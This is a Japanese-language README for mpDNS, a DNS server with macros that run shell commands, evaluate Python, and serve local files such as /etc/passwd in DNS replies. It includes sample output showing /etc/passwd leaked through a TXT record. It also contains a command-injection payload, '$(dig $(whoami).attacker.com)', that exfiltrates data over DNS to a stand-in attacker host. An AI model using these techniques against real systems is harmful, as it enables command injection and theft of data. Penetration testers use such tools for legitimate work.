シンプルで設定可能な、多くの便利な機能を備えたDNSサーバー
{{shellexec::dig google.com +short}} -> シェルコマンドを実行し、結果で応答{{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Pythonコードを評価{{file::/etc/passwd}} -> ローカルファイルの内容で応答{{filelist::/somefile.list}} -> 複数の結果を1行ずつ応答{{resolve}} -> DNSリクエストをローカルシステムのDNSに転送{{resolve::example.com}} -> 元のレコードの代わりにexample.comを解決{{echo}} -> ピアアドレスで応答{{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> 変数の使用主に基づく https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db
これで、names.db.example を基に names.db にDNSレコードを入力する準備が整いました。
Usage: ./mpdns.py
./mpdns.py -e で names.db のDNSレコードを編集します。再起動は不要です。/ping.php?ip=$(dig $(whoami).attacker.com))TXT クエリで65KBのデータを簡単に潜り込ませるTXT レコードに適用され、応答が最大許容65200バイトに達するまで256バイトのチャンクに分割されます。{{file:localfile.txt}} を含む TXT レコードは65200バイトに制限されます。test.*.example.com はサポートされていません{{resolve::example.com}} マクロでのカスタムDNSサーバーレゾルバはサポートされていませんTTL は常に 0 に設定されますnames.db の例:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
DBからの通常解決: dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS出力: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
再帰的CNAME解決: dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS出力:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
ワイルドカード解決: dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS出力: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
ワイルドカードサブドメイン解決: dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS出力: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
転送リクエストマクロ: dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS出力: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
カスタムドメインマクロの転送: dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS出力: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
ファイル内容マクロ(TXTクエリ): dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS出力: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
カスタムPythonコードマクロ(TXTクエリ): dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS出力: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
シェルコマンドマクロ(TXTクエリ): dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS出力: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
お楽しみください!